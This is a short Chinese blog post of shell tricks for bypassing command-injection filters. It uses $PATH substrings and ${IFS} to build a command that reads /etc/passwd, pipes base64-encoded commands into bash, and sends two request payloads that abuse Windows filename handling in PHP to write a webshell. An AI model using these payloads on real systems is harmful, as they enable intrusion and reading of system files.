系统相关
首页 > 系统相关> > shell小技巧

shell小技巧

作者:互联网

1.过滤了 空格 . / ; ` ' > 等字符,怎么执行任意命令

首先执行一下env命令,看看环境变量里有哪些可以用到的变量。比如:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

那么字符“/”就可以用${PATH:0:1}代替。

又比如有个变量是PHP_VERSION=5.6.30,所以就可以用${PHP_VERSION:1:1}代替。

空格的替代比较多,比如%09 %0a ,还有${IFS}

/等符号替代 cat $(expr substr $PATH 1 1)etc$(expr substr $PATH 1 1)passwd

2.base64+管道符来执行命令

将任意命令base64编码以后,直接执行echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash 即可。

3.有下列代码

<?php
$filename = __DIR__ . '/tmp/' . $user['name'];
$data = $user['info'];

file_put_contents($filename, $data);
// ...一些处理
if (file_exists($filename)) {
	unlink($filename);
}
?>

windows下有以下方法:
info=webshell&name=1.php:test
info=webshell&name=1.ph<

依次发送上述两个请求,第一次请求:会截断文件名,导致创建一个新的空白文件1.php;第二次使用了一个通配符“<”,把内容写入了第一步创建的文件。
(其他方法:条件竞争;php_apache2_操作系统之间的一些黑魔法 | wonderkun's | blog

标签:bin,sbin,shell,技巧,base64,usr,PATH,php
来源: https://www.cnblogs.com/Stas/p/16454830.html